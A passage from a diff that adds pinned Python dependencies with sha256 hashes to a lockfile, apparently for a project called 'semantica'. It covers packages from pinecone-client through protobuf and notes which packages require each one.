--hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 \ + --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 \ + --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f \ + --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f \ + --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 \ + --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c \ + --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 \ + --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 \ + --hash=sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838 \ + --hash=sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf \ + --hash=sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321 \ + --hash=sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26 \ + --hash=sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec \ + --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 \ + --hash=sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65 \ + --hash=sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5 \ + --hash=sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e \ + --hash=sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d \ + --hash=sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198 \ + --hash=sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7 + # via + # semantica (pyproject.toml) + # docling-core + # docling-ibm-models + # docling-parse + # docling-slim + # fastembed + # matplotlib + # python-pptx + # rapidocr + # torchvision +pinecone-client==6.0.0 \ + --hash=sha256:d81a9e73cae441e4ab6dfc9c1d8b51c9895dae2488cda64f3e21b9dfc10c8d94 \ + --hash=sha256:f224fc999205e4858c4737c40922bdf42d178b361c8859bc486ec00d45b359a9 + # via semantica (pyproject.toml) +pinecone-plugin-interface==0.0.7 \ + --hash=sha256:875857ad9c9fc8bbc074dbe780d187a2afd21f5bfe0f3b08601924a61ef1bba8 \ + --hash=sha256:b8e6675e41847333aa13923cc44daa3f85676d7157324682dc1640588a982846 + # via pinecone-client +platformdirs==4.11.2 \ + --hash=sha256:3a2ae5fca3520a01ab1be8b45613537f52ddf5b5f6f53d88233892dfbf0cd82d \ + --hash=sha256:7f89089b6ea71bda7962953edcf784b2e2d9d285b40ad88be2bb75c6e9d82ab4 + # via + # black + # jupyter-core + # pooch + # virtualenv +plotly==6.9.0 \ + --hash=sha256:36bebe2f1bb13884774fe61689c329071446f6ce4a8927fb1f0d6fb24f581236 \ + --hash=sha256:967ad33e8c704fed051800d11d985eb206a9c795c14206b30a6f463ed9c67d0d + # via + # semantica (pyproject.toml) + # bertopic +pluggy==1.6.0 \ + --hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \ + --hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746 + # via + # docling-slim + # pytest + # pytest-cov +polyfactory==3.3.0 \ + --hash=sha256:237258b6ff43edf362ffd1f68086bb796466f786adfa002b0ac256dbf2246e9a \ + --hash=sha256:686abcaa761930d3df87b91e95b26b8d8cb9fdbbbe0b03d5f918acff5c72606e + # via docling-slim +pooch==1.9.0 \ + --hash=sha256:de46729579b9857ffd3e741987a2f6d5e0e03219892c167c6578c0091fb511ed \ + --hash=sha256:f265597baa9f760d25ceb29d0beb8186c243d6607b0f60b83ecf14078dbc703b + # via librosa +portalocker==2.7.0 \ + --hash=sha256:032e81d534a88ec1736d03f780ba073f047a06c478b06e2937486f334e955c51 \ + --hash=sha256:a07c5b4f3985c3cf4798369631fb7011adb498e2a46d8440efc75a8f29a0f983 + # via qdrant-client +pre-commit==4.6.2 \ + --hash=sha256:8f5d7bfb021ecdbcd9d49d89847082dd24172ccde534390081a679ad046e2441 \ + --hash=sha256:e2dde9a75d3bce11bd3831c26d134df00a2803c1d818be6a0383c3dcda25dc4e + # via semantica (pyproject.toml) +preshed==3.0.13 \ + --hash=sha256:04d8f13f2986e5d11af5ac51f55ce3106c70c41b483d20ea392e6180bdd0f870 \ + --hash=sha256:09397592d333a77f88454e72b7f1f941b2afaf040b392b9e74898dbc4648cdf5 \ + --hash=sha256:09f96b477c987755b3c945df214ea1c1c80bfb350e9f34e78da89585535b77e8 \ + --hash=sha256:0e5b2865aecbd2e1e10e5d19bb8bfad765863c1307c6c3e51f2a08bd64122409 \ + --hash=sha256:183b339956a9e1d7a4a00038a3b9587a734db9e8bd915939a49791bd1b372156 \ + --hash=sha256:19318dc1cd8cac6663c6c830bf7e0002d2de853769fb03e056774e97c21bedfd \ + --hash=sha256:208dcebbe294bf1881ce33fb015d56ab2a7587aece85a09147727174207892e4 \ + --hash=sha256:2b704e46cb7b88f656ef16a3e5347b36525a1c53721d327a4ba1457404101f85 \ + --hash=sha256:2e77bed56aded7cbe5d28d6bd2178bc5b13eda0e0e464dab205fb578fa915000 \ + --hash=sha256:35d6c5acb3ee3b12b87a551913063f0cec784055c2af16e028c19fe875f079d0 \ + --hash=sha256:3e3528f6628329349e281b607aad746ae3c06c15ba59fd5b6599c7c2fd77911b \ + --hash=sha256:40e9445911051bc67cf84ba12745e3be4d010aaf4f8ade3ba3def82fdb45d18e \ + --hash=sha256:42c58b07e8b431e33d0ad9922e896632453821cad8b09171b619b8c61101916f \ + --hash=sha256:461327f8dd36520dcf1fd55a671e0c3c2c97a2d95e22fc85faa31173f4785dda \ + --hash=sha256:4a7bc48220de579be6bdb0a8715482cf36e2a625a6fd5ad26c9f43485a4a23b5 \ + --hash=sha256:4e9ae86c982e49f58620d45eeb51e073e50feb88f52ac10a95fe117c1d222a84 \ + --hash=sha256:4f8856ca3d88e9b250630d70abb4f260d8933151ddfb413024784b25b009868e \ + --hash=sha256:502f93f49a22788203f02d3067d4ea077a0cca3864de6a792eae12e7ce589e14 \ + --hash=sha256:5268c0e6fa96f50cdf87f516c2d4b32563c12706ee768e75c00e8d0098acd545 \ + --hash=sha256:5d14eea14bd01291388928991d7df7d60b9fd19ae970e55006eb4d29b0c1e8eb \ + --hash=sha256:5e2753779832e411e93eb727f3d409c0a6b7408e5ce4dd868076d8ece48c7693 \ + --hash=sha256:62cf7f3113132891d6bba70ff547ad81c6fe50a31930bbbb8499f1d47cd122b7 \ + --hash=sha256:670db59a52e1823b5f088c764df474e65b686592d4093adbeef14581c95ee2cb \ + --hash=sha256:70d502e081348df207d90f347f21770ed596822bb04eb3c3b32b7281579e90c6 \ + --hash=sha256:7557963d0125a3a7bcdb2eb6948f3e45da31b5a7f066b55320de3dea22d7557f \ + --hash=sha256:7770987c2e57497cd26124a9be5f652b5b3ccd0def89859ab0da8bca6144a3de \ + --hash=sha256:7c333f18e9a81c8a6de0603fd8781e17115324b117c445ca91abdf7bfb1abe49 \ + --hash=sha256:7da9d931e7660dcdd757e5870269f0c159126d682ed73ed313971d199eb0f334 \ + --hash=sha256:867aa73abbf4ee3b4d7662148091c33a8c039271269e3a7f1e0ca995f91995c8 \ + --hash=sha256:8b82d7a7bb63d248a6cbbfcabb4a570c993d54d964e39dc5d85c14018ba2079e \ + --hash=sha256:8b8de3f58043070a354477995acdd98626ce43e4193c708ebd0f694e467f5155 \ + --hash=sha256:8d6acc1f5031a535a55a6f7148e2f274554a8343a16309c700cebea0fe7aee8c \ + --hash=sha256:985cb9b097beda76cd13c01a0499707103e8915f888fa30f8aa8324ef2cc6b08 \ + --hash=sha256:9ca43ecbc3783eda4d6ab3416ae2ecd9ef23dca5f53995843f69f7457bcd0677 \ + --hash=sha256:a06e27f4e5b9d7943840087828c6a0dae4a3475576d12c2e95b71abbb325a80b \ + --hash=sha256:a3ac301b065e67e9541f8e3ab3f67533e53deb57c2d258395c5bb98f9723f99b \ + --hash=sha256:a8682988e47739adba369bf43789fc870b554a21e2d1f30a3d17ed336d05f451 \ + --hash=sha256:acd4d89abeca3678c5d8c89b3cd351314465bc67c7fa053d2644f8513e543386 \ + --hash=sha256:b03e21b0bf95eb56e23973f32cabb930e94f352228652f81c0955dbd6967d904 \ + --hash=sha256:b980f3ea9bb74b7f94464bc3d6eb3c9162b6b79b531febd14c6465c24344d2cc \ + --hash=sha256:bef84b225d226af43adfee78ce5ddede72a6155ce5292c1a41dcd1f0b9c87c30 \ + --hash=sha256:c046736239cc8d72670749b79b526e4111839a2fc461a58545d212797649129c \ + --hash=sha256:c0d0c14187dc0078d8a63bf190ec045a4d13e7748b6caeb557a7d575e411410b \ + --hash=sha256:c4bc60dc994864095d784b7e4d77dba3e64188d169ac88722b699d175561fddb \ + --hash=sha256:c8596e41a258ff213553a441e0bb3eb388fd8158e84a7bf3aae6d8ede2c166d3 \ + --hash=sha256:cf8e1a7a1823b2a7765121446c630140ac6e8650c07a6efbf375e168d1fef4f7 \ + --hash=sha256:d0e114300e5577e806c17fb1cc9f07bc6584188d84545401f66e690c8315feef \ + --hash=sha256:d2f1efae396cadab5f3890a2fd43d2ee65373ef9096ccbb805e51e8d8bcc563b \ + --hash=sha256:d4ae5cfe075bb7a07982e382bca44f41ddf041f4d24cbd358e8cccfc049259b8 \ + --hash=sha256:d75f718bbfd97e992f7827e0fa7faf6a91bdd9c922d5baa4b50d62731396cb89 \ + --hash=sha256:dbd7c735a613857ae39ac23bf4690b0d92adc30add977828529b50ba09e33fbc \ + --hash=sha256:de87fbabb0f37c3c92d4dd9b94fc82ab73cdab4247cdfbd57ab3926caa983919 \ + --hash=sha256:df642547a1a94079978a0ea8f4593ab4b8d3bd43f767bef0ef64d9a214f8c4c9 \ + --hash=sha256:e1ab099b2f5843b19e875502b64001b0705e375fb5bd1ca6240aa14e4ffc31e4 \ + --hash=sha256:e5c8462472f790c16708306aef3a102a762bd19dfe3d2f8ee08bd5e12f51b835 \ + --hash=sha256:f05b08ce92399c0655b5e0eb5a1cc1f9e295703ed3aabdfaf6538dfa8ae23d57 \ + --hash=sha256:f8e6fe0620ed0f96a246d46447055c447e071cd8222731a045c235e8a758c918 + # via + # spacy + # thinc +prettytable==3.18.0 \ + --hash=sha256:439217116152244369caf3d9f1caf2f9fe29b03bd79e88d2928c8e718c95d680 \ + --hash=sha256:b3346e0e6f79180833aebaac088ae926340586cf6d7d991b9eb125b65f72313a + # via pyshacl +prometheus-client==0.26.0 \ + --hash=sha256:04a91bcf94e2cf74a44a1a874d651a2e853ed354b6e822f3b7487751465d5c2b \ + --hash=sha256:fa93d06737aa02bacd05794768508bb97d2fbee28cb3bca04eaae92f0ca953d6 + # via + # semantica (pyproject.toml) + # jupyter-server +prompt-toolkit==3.0.53 \ + --hash=sha256:01c0891d7f9237d5e339f7d3e42cdae80b7534abb1c7c0e3352efba6231492f2 \ + --hash=sha256:9ec8a0ad96d5c56148b3f914aa79c1564c3fde5d2e6b876e7bc327e353cf8fa6 + # via + # click-repl + # ipython + # jupyter-console +propcache==0.5.2 \ + --hash=sha256:01c4fc7480cd0598bb4b57022df55b9ca296da7fc5a8760bd8451a7e63a7d427 \ + --hash=sha256:04dc2390d9edbbaef7461f33322555976ffddf0b650a038649d026358714e6c5 \ + --hash=sha256:06187263ddad280d05b4d8a8b3bb7d164cbebd469236544a42e6d9b28ac6a4fa \ + --hash=sha256:0958834041a0166d343b8d2cedcd8bcbaeb4fdbe0cf08320c5379f143c3be6e7 \ + --hash=sha256:099aaf4b4d1a02265b92a977edf00b5c4f63b3b17ac6de39b0d637c9cac0188a \ + --hash=sha256:0d2c9bf8528f135dbb805ce027567e09164f7efa51a2be07458a2c0420f292d0 \ + --hash=sha256:0fd59b5af35f74da48d905dcbad55449ba13be91823cb05a9bd590bbf5b61660 \ + --hash=sha256:10734b5484ea113152ee25a91dccedf81631791805d2c9ccb054958e51842c94 \ + --hash=sha256:13fef48778b5a2a756523fdb781326b028ca75e32858b04f2cdd19f394564917 \ + --hash=sha256:178b4a2cdaac1818e2bf1c5a99b94383fa73ea5382e032a48dec07dc5668dc42 \ + --hash=sha256:196913dea116aeb5a2ba95af4ddcb7ea85559ae07d8eee8751688310d09168c3 \ + --hash=sha256:1b31822f4474c4036bae62de9402710051d431a606d6a0f907fec79935a071aa \ + --hash=sha256:1ca071adabaab6e9219924bbe00af821f1ee7de113a9eca1cdc292de3d120f4d \ + --hash=sha256:1d1ad32d9d4355e2be65574fd0bfd3677e7066b009cd5b9b2dee8aa6a6393b33 \ + --hash=sha256:1dbcf7675229b35d31abb6547d8ebc8c27a830ac3f9a794edff6254873ec7c0a \ + --hash=sha256:2293949b855ce597f2826452d17c2d545fb5622379c4ea6fdf525e9b8e8a2511 \ + --hash=sha256:26a4dca084132874e639895c3135dfad5eb20bae209f62d1aeb31b03e601c3c0 \ + --hash=sha256:2800a4a8ead6b28cccd1ec54b59346f0def7922ee1c7598e8499c733cfbb7c84 \ + --hash=sha256:29cbaac5ea0212663e6845e04b5e188d5a6ae6dd919810ac835bf1d3b42c3f4c \ + --hash=sha256:29f9309a2e42b0d273be006fdb4be2d6c39a47f6f57d8fb1cf9f81481df81b66 \ + --hash=sha256:2d7aa89ebca5acc98cba9d1472d976e394782f587bad6661003602a619fd1821 \ + --hash=sha256:2f22cbbac9e26a8e864c0985ff1268d5d939d53d9d9411a9824279097e03a2cb \ + --hash=sha256:2f8ea531c794b9d6274acd4e8d2c2ebcac590a4361d27482edd3010b79f1325e \ + --hash=sha256:3115559b8effafd63b142ea5ed53d63a16ea6469cbc63dce4ee194b42db5d853 \ + --hash=sha256:32775082acd2d807ee3db715c7770d38767b817870acfa08c29e057f3c4d5b56 \ + --hash=sha256:3430bb2bfe1331885c427745a751e774ee679fd4344f80b97bf879815fe8fa55 \ + --hash=sha256:3b199b9b2b3d6a7edf3183ba8a9a137a22b97f7df525feb5ae1eccf026d2a9c6 \ + --hash=sha256:40314bca9ac559716fe374094fc81c11dcc34b64fd6c585360f5775690505704 \ + --hash=sha256:44e488ef40dbb452700b2b1f8188934121f6648f52c295055662d2191959ff82 \ + --hash=sha256:452b5065457eb9991ec5eb38ff41d6cd4c991c9ac7c531c4d5849ae473a9a13f \ + --hash=sha256:45f11346f884bc47444f6e6647131055844134c3175b629f84952e2b5cd62b64 \ + --hash=sha256:46088abff4cba581dea21ae0467a480526cb25aa5f3c269e909f800328bc3999 \ + --hash=sha256:4621064bbf28fa77ff64dd5d94367c04684c67d3a5bf1dff25f0cd0d98a38f3b \ + --hash=sha256:4bc8ff1feffc6a61c7002ffe84634c41b822e104990ae009f44a0834430070bb \ + --hash=sha256:4db0ba63d693afd40d249bd93f842b5f144f8fcbb83de05660373bcf30517b1d \ + --hash=sha256:51f96d685ab16e88cab128cd37a52c5da540809c8b879fa047731bfcb4ad35a4 \ + --hash=sha256:54adaa85a22078d1e306304a40984dc5be99d599bf3dc0a24dc98f7daeab89ab \ + --hash=sha256:552ffadf6ad409844bc5919c42a0a83d88314cedddaea0e41e80a8b8fffe881f \ + --hash=sha256:5538d2c13d93e4698af7e092b57bc7298fd35d1d58e656ae18f23ee0d0378e03 \ + --hash=sha256:5570dbcc97571c15f68068e529c92715a12f8d54030e272d264b377e22bd17a5 \ + --hash=sha256:5671d09a36b06d0fd4a3da0fccbcae360e9b1570924171a15e9e0997f0249fba \ + --hash=sha256:583c19759d9eec1e5b69e2fbef36a7d9c326041be9746cb822d335c8cedc2979 \ + --hash=sha256:5aaa2b923c1944ac8febd6609cb373540a5563e7cbcb0fd770f75dace2eb817b \ + --hash=sha256:5dbc581d2814337da56222fab8dc5f161cd798a434e49bac27930aaef798e144 \ + --hash=sha256:5fcb98e7598b1ee0addab320d90f65b530297a867dbfe9de52ea838077e16e3d \ + --hash=sha256:6041d31504dc1779d700e1edcfb08eea334b357620b06681a4eabb57a74e574e \ + --hash=sha256:66ea454f095ddf5b6b14f56c064c0941c4788be11e18d2464cf643bf7203ff67 \ + --hash=sha256:68ce1c44c7a813a7f71ea04315a8c7b330b63db99d059a797a4651bb6f69f117 \ + --hash=sha256:6a997d0489e9668a384fcfd5061b857aa5361de73191cac204d04b889cfbbafa \ + --hash=sha256:6bf3be92233808fcd338eba0fb4d0b59ec5772af4f4ecfcec450d1bfc0f8b5eb \ + --hash=sha256:6de8bd93ddde9b992cf2b2e0d796d501a19026b5b9fd87356d7d0779531a8d96 \ + --hash=sha256:6e7b8719005dd1175be4ab1cd25e9b98659a5e0347331506ec6760d2773a7fb5 \ + --hash=sha256:6f328175a2cde1f0ff2c4ed8ce968b9dcfb55f3a7153f39e2957ed994da13476 \ + --hash=sha256:72d61e16dd78228b58c5d47be830ff3da7e5f139abdf0aef9d86cde1c5cf2191 \ + --hash=sha256:74b70780220e2dd89175ca24b81b68b67c83db499ae611e7f2313cb329801c78 \ + --hash=sha256:79aa3ff0a9b566633b642fa9caf7e21ed1c13d6feca718187873f199e1514078 \ + --hash=sha256:7afa37062e6650640e932e4cc9297d81f9f42d9944029cc386b8247dea4da837 \ + --hash=sha256:80168e2ebe4d3ec6599d10ad8f520304ae1cad9b6c5a95372aef1b66b7bfb53a \ + --hash=sha256:806719138ecd720339a12410fb9614ac9b2b2d3a5fdf8235d56981c36f4039ba \ + --hash=sha256:8114f28879e0904748e831c3a7774261bd9e75f49be089f389a76f959dcd13fe \ + --hash=sha256:81e3a30b0bb60caa22033dd0f8a3618d1d67356212514f62c57db75cb0ef410c \ + --hash=sha256:823581fd5cb08b12a48bfa11fe962a7916766b6170c17b028fbdf762b85eb9bf \ + --hash=sha256:85341b12b9d55bad0bded24cac341bb34289469e03a11f3f583ea1cc1db0326c \ + --hash=sha256:857187f381f88c8e2fa2fe56ab94879d011b883d5a2ee5a1b60a8cd2a06846d9 \ + --hash=sha256:8a90efd5777e996e42d568db9ac740b944d691e565cbfd31b2f7832f9184b2b8 \ + --hash=sha256:8b73ab70f1a3351fbc71f663b3e645af6dd0329100c353081cf69c37433fc6fe \ + --hash=sha256:8c7972d8f193740d9175f0998ab38717e6cd322d5935c5b0fef8c0d323fd9031 \ + --hash=sha256:8e778ebd44ef4f66ed60a0416b06b489687db264a9c0b3620362f26489492913 \ + --hash=sha256:9282fb1a3bccd038da9f768b927b24a0c753e466c086b7c4f3c6982851eefb2d \ + --hash=sha256:949c91d1a990cf3b2e8188dfcfb25005e0b834a06c63fa4ef9f360878ce21ecf \ + --hash=sha256:95f1e3f4760d404b13c9976c0229b2b49a3c8e2c62a9ce92efdd2b11ada75e3f \ + --hash=sha256:97797ebb098e670a2f92dd66f32897e30d7615b14e7f59711de23e30a9072539 \ + --hash=sha256:a0e399a2eccb91ed18721f86aa85757727400b6865c89e88934781deb9c8498b \ + --hash=sha256:a473b3440261e0c60706e732b2ed2f517857344fc21bf48fdfe211e2d98eb285 \ + --hash=sha256:a4840ab0ae0216d952f4b53dc6d0b992bfc2bedbfe360bdd9b548bc184c08959 \ + --hash=sha256:a592f5f3da71c8691c788c13cb6734b6d17663d2e1cb8caddf0673d01ef8847d \ + --hash=sha256:a6ae2198be502c10f09b2516e7b5d019816924bc3183a43ce792a7bd6625e6f4 \ + --hash=sha256:a6ddc6ac9e25de626c1f129c1b467d7ecd33ce2237d3fd0c4e429feef0a7ee1f \ + --hash=sha256:acd2c8edba48e31e58a363b8cf4e5c7db3b04b3f9e371f601df30d9b0d244836 \ + --hash=sha256:b05d643f944a8c3c4bd86d65ffd87bf3264b617f87791940302bc474d2ff5274 \ + --hash=sha256:b96db7141a592cbc968daf1feea83a118e6ab378af4abbc72b248c895414c22d \ + --hash=sha256:ba338430e87ceb9c8f0cf754de38a9860560261e56c00376debd628698a7364f \ + --hash=sha256:ba57fffe4ac99c5d30076161b5866336d97600769bad35cc68f7774b15298a4e \ + --hash=sha256:be1ddfcbb376e3de5d2e2db1d58d6d67463e6b4f9f040c000de8e300295465fe \ + --hash=sha256:c0cb9ed24c8964e172768d455a38254c2dd8a552905729ce006cad3d3dda59b1 \ + --hash=sha256:c60462af8e6dc30c35407c7237ea908d777b22862bbee27bc4699c0d8bcdc45a \ + --hash=sha256:c66afea89b1e43725731d2004732a046fe6fe955d51f952c3e95a7314a284a39 \ + --hash=sha256:c6844ba6364fb12f403928a82cfd295ab103a2b315c77c747b2dbe4a41894ea7 \ + --hash=sha256:c80f4ba3e8f00189165999a742ee526ebeccedf6c3f7beb0c7df821e9772435a \ + --hash=sha256:cafca7e56c12bb02ae16d283742bef25a61122e9dab2b5b3f2ccbe589ce32164 \ + --hash=sha256:cc1177027eda740fdb152706bd215a3f124e3eea15afc39f2cb9fe351b50619e \ + --hash=sha256:cc49723e2f60d6b32a0f0b08a3fd6d13203c07f1cd9566cfce0f12a917c967a2 \ + --hash=sha256:cc6fc3cc62e8501d3ed62894425040d2728ecddb1ed072737a5c70bd537aa9f0 \ + --hash=sha256:cd416c1de191973c52ff1a12a57446bfc7642797b282d7caf2162d7d1b8aa9a0 \ + --hash=sha256:cd645f03898405cabe694fb8bc35241e3a9c332ec85627584fe3de201452b335 \ + --hash=sha256:cef6cea3922890dd6c9654971001fa797b526c16ab5e1e46c05fd6f877be7568 \ + --hash=sha256:cfa21e036ce1e1db2be04ba3b85d2df1bb1702fa01932d984c5464c665228ff4 \ + --hash=sha256:d0326e2e5e1f3163fa306c834e48e8d490e5fae607a097a40c0648109b47ba80 \ + --hash=sha256:d310c013aad2c72f1c3f2f8dd3279d460a858c551f97aeb8c63e4693cca7b4d2 \ + --hash=sha256:d447bb0b3054be5818458fbb171208b1d9ff11eba14e18ca18b90cbb45767370 \ + --hash=sha256:d4dc37dec6c6cdad0b57881a5658fd14fbf53e333b1a86cf86559f190e1d9ec4 \ + --hash=sha256:d5a81be28596d6559f6131ef33e10200de6e17643b3c74ce03f9eb103be6ae8b \ + --hash=sha256:d9ee8826a7d47863a08ac44e1a5f611a462eefc3a194b492da242128bec75b42 \ + --hash=sha256:db2b80ea58eab4f86b2beec3cc8b39e8ff9276ac20e96b7cce43c8ae84cd6b5a \ + --hash=sha256:decfca4c79dd53ebab484b00cc4b6717d8c369f86e74aa4ca395a64ac651495e \ + --hash=sha256:dfed59d0a5aeb01e242e66ff0300bc4a265a7c05f612d30016f0b60b1017d757 \ + --hash=sha256:e00820e192c8dbebcafb383ebbf99030895f09905e7a0eb2e0340a0bcc2bc825 \ + --hash=sha256:e4294d04a94dcab1b3bccd8b66d962dcad411a1d19414b2a41d1445f1de32ad0 \ + --hash=sha256:e59bc9e66329185b93dab73f210f1a37f81cb40f321501db8017c9aea15dba27 \ + --hash=sha256:e5cbfac9f61484f7e9f3597775500cd3ebe8274e9b050c38f9525c77c97520bf \ + --hash=sha256:f064f8d2b59177878b7615df1735cd8fe3462ed6be8c7b217d17a276489c2b7f \ + --hash=sha256:f156a3529f38063b6dbaf356e15602a7f95f8055b1295a438433a6386f10463d \ + --hash=sha256:f19bb891234d72535764d703bfed1153cc34f4214d5bd7150aee1eec9e8f4366 \ + --hash=sha256:f7467da8a9822bf1a55336f877340c5bcbd3c482afc43a99771169f74a26dedc \ + --hash=sha256:f78abfa8dfc32376fd1aacf597b2f2fbbe0ea751419aee718af5d4f82537ef8c \ + --hash=sha256:f7eabc04151c78a9f4d5bbb5f1faf571e4defeb4b585e0fe95b60ff2dbe4d3d7 \ + --hash=sha256:f814362777a9f841adddb200ecdf8f5cb1e5a3c4b7a86378edbd6ccb26edd702 \ + --hash=sha256:fc299c129490f55f254cd90be0deca4764e36e9a7c08b4aa588479a3bbed3098 \ + --hash=sha256:fc76378c62a0f04d0cd82fbb1a2cd2d7e28fcb40d5873f28a6c44e388aaa2751 \ + --hash=sha256:fc88b26f08d634f7bc819a7852e5214f5802641ab8d9fd5326892292eee1993e \ + --hash=sha256:fe67a3d11cd9b4efabfa45c3d00ffba2b26811442a73a581a94b67c2b5faccf6 + # via + # aiohttp + # yarl +proto-plus==1.28.3 \ + --hash=sha256:5f91b30dafa6bb38d432c5557a6ee1d35ffd40b4b1e0e3ca27260448560b91d9 \ + --hash=sha256:dc76880b8ee951cca002098574376cf71e055f9f16d9ba6570fb8a06f726d281 + # via google-api-core +protobuf==7.35.1 \ + --hash=sha256:11d6b0ec246892d85215b0a13ca6e0233cf5284b68f0ac02646427f4ff88a799 \ + --hash=sha256:230a75ddfc2de4806e56696ce9640c1cdfdb6543b7cfce98d42a4c0a0e7bdb87 \ + 